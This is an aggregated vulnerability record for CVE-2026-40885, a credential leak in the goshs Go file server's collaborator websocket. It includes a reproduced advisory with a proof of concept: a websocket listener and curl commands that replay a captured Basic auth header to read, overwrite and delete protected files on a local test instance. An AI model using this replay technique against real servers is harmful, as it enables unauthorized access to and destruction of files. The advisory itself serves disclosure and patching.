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CVE-2026-40885

goshs: Public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

7.7 HighFix available

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.31%Up 0.2 points since Apr 22, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.7

goshs: Public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6.

Record
CVE-2026-40885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
EUVDEUVD-2026-24273 7.7

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6.

Record
EUVD-2026-24273
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-7h3j-592v-jcrp 7.7

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

Summary

goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.

Details

The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:

  • httpserver/server.go:72-85 only installs BasicAuthMiddleware() when a global username or password is configured

The vulnerable request is logged before .goshs authorization is enforced:

  • httpserver/handler.go:277-279 calls emitCollabEvent() and logger.LogRequest() before the protected file is passed into ACL enforcement
  • httpserver/handler.go:291-309 performs folder-level .goshs authentication later in applyCustomAuth()

The collaborator pipeline copies and broadcasts every request header:

  • httpserver/collaborator.go:22-46 flattens all request headers, including Authorization, into the websocket event and sends them to the hub
  • ws/hub.go:77-84 fans the event out live to all connected websocket clients
  • ws/hub.go:116-122 replays up to 200 prior HTTP events to newly connected websocket clients via catchup

The frontend also makes the leak easier to understand by decoding authorization values:

  • assets/js/main.js:627-645 formats and decodes the Authorization header for display in the collaborator panel

In practice, a victim request such as:

GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=

is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

Terminal 2

node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE

Terminal 3

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

Two terminal commands I ran during local validation:

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

Observed results from manual verification:

  • the anonymous request returned 401
  • the victim request returned very secret
  • the replayed leaked header also returned very secret
  • the replayed PUT returned 200
  • the replayed ?delete returned 200
  • the public websocket showed Authorization":"Basic YWRtaW46YWRtaW4="

PoC Video 1:

https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752

Single-script verification:

'/Users/r1zzg0d/Documents/CVE…
Record
GHSA-7h3j-592v-jcrp
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-200
Updated
2026-11-02
NVD 7.7

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6.

Record
CVE-2026-40885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-200
Updated
2026-11-02
OSV 7.7

goshs: Public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

goshs is a SimpleHTTPServer written in Go. From 2.0.0-beta.4 to 2.0.0-beta.5, goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. This vulnerability is fixed in 2.0.0-beta.6.

Record
CVE-2026-40885
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
OSVGHSA-7h3j-592v-jcrp 7.7

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access

Summary

goshs leaks file-based ACL credentials through its public collaborator feed when the server is deployed without global basic auth. Requests to .goshs-protected folders are logged before authorization is enforced, and the collaborator websocket broadcasts raw request headers, including Authorization. An unauthenticated observer can capture a victim's folder-specific basic-auth header and replay it to read, upload, overwrite, and delete files inside the protected subtree. I reproduced this on v2.0.0-beta.5, the latest supported release as of April 10, 2026.

Details

The main web UI and collaborator websocket stay public when goshs is started without global -b user:pass authentication:

  • httpserver/server.go:72-85 only installs BasicAuthMiddleware() when a global username or password is configured

The vulnerable request is logged before .goshs authorization is enforced:

  • httpserver/handler.go:277-279 calls emitCollabEvent() and logger.LogRequest() before the protected file is passed into ACL enforcement
  • httpserver/handler.go:291-309 performs folder-level .goshs authentication later in applyCustomAuth()

The collaborator pipeline copies and broadcasts every request header:

  • httpserver/collaborator.go:22-46 flattens all request headers, including Authorization, into the websocket event and sends them to the hub
  • ws/hub.go:77-84 fans the event out live to all connected websocket clients
  • ws/hub.go:116-122 replays up to 200 prior HTTP events to newly connected websocket clients via catchup

The frontend also makes the leak easier to understand by decoding authorization values:

  • assets/js/main.js:627-645 formats and decodes the Authorization header for display in the collaborator panel

In practice, a victim request such as:

GET /ACLAuth/secret.txt
Authorization: Basic YWRtaW46YWRtaW4=

is visible to any public websocket observer before the protected file's ACL check is enforced. The attacker can then replay the leaked header against the same protected folder and gain the victim's effective access.

PoC

Manual verification commands used:

Terminal 1

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./

rm -rf /tmp/goshs_collab_root
mkdir -p /tmp/goshs_collab_root/ACLAuth
cp integration/keepFiles/goshsACLAuth /tmp/goshs_collab_root/ACLAuth/.goshs
printf 'very secret\n' > /tmp/goshs_collab_root/ACLAuth/secret.txt

/tmp/goshs_beta5 -d /tmp/goshs_collab_root -p 18096

Terminal 2

node - <<'NODE'
const ws = new WebSocket('ws://127.0.0.1:18096/?ws');
ws.onmessage = (ev) => console.log(ev.data.toString());
NODE

Terminal 3

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -u admin:admin http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' -X PUT --data-binary 'owned' http://127.0.0.1:18096/ACLAuth/pwn.txt
curl -s -o /dev/null -w '%{http_code}\n' -H 'Authorization: Basic YWRtaW46YWRtaW4=' 'http://127.0.0.1:18096/ACLAuth/secret.txt?delete'

Two terminal commands I ran during local validation:

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18096/ACLAuth/secret.txt
curl -s -H 'Authorization: Basic YWRtaW46YWRtaW4=' http://127.0.0.1:18096/ACLAuth/secret.txt

Observed results from manual verification:

  • the anonymous request returned 401
  • the victim request returned very secret
  • the replayed leaked header also returned very secret
  • the replayed PUT returned 200
  • the replayed ?delete returned 200
  • the public websocket showed Authorization":"Basic YWRtaW46YWRtaW4="

PoC Video 1:

https://github.com/user-attachments/assets/1347838e-28a0-4c9f-be9f-db7e2938c752

Single-script verification:

'/Users/r1zzg0d/Documents/CVE…
Record
GHSA-7h3j-592v-jcrp
CVSS 4.0
7.7 HighCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness
CWE-200
Updated
2026-11-02
OSVGO-2026-5221 No score

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access in github.com/patrickhener/goshs

goshs's public collaborator feed leaks .goshs ACL credentials and enables unauthorized access in github.com/patrickhener/goshs

Record
GO-2026-5221
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/patrickhener/goshs/v2
Go
 2.0.0-beta.4 to 2.0.0-beta.5
2.0.0-beta.6
github.com/patrickhener/goshs/v2
Go
 2.0.0-beta.4 up to 2.0.0-beta.6
2.0.0-beta.6
github.com/patrickhener/goshs
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40885 is a high vulnerability (CVSS 7.7) in Goshs, published April 14, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.31%, the 24th percentile. Fixed in github.com/patrickhener/goshs/v2 2.0.0-beta.6.

References

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